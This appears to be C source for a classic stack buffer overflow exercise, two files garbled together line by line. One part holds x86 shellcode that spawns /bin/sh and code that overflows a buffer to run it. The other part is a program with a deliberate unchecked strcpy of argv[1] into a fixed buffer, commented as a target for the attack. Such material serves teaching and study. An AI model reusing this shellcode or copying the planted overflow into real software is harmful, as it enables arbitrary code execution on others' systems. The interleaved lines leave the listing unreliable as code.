1 #include<stdio.h>

     1 char shellcode[] =

     2 #include<string.h>

     2   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"

     3   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"

     4   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"

     5   "\xff\xff/bin/sh";

     6 char large_string[128];

     4 // simple program used for a bufferflow attack

     8 void main() {

     5 //

     9   char buffer[96];

     6 // for installation notes see C0.c

    10   int i;

     7 //

    11   long *long_ptr = (long *) large_string;

     8 // can be called with 

     9 //

    10 //   ./C3 `./args3`

    12 main(int argc, char **argv)

    13   for (i = 0; i < 32; i++)

    13 {

    14     *(long_ptr + i) = (int) buffer;

    14         char buffer[80];

    16         strcpy(buffer, argv[1]);

    16   for (i = 0; i < strlen(shellcode); i++)

    17     large_string[i] = shellcode[i];

    18         return 1;

    19   strcpy(buffer,large_string);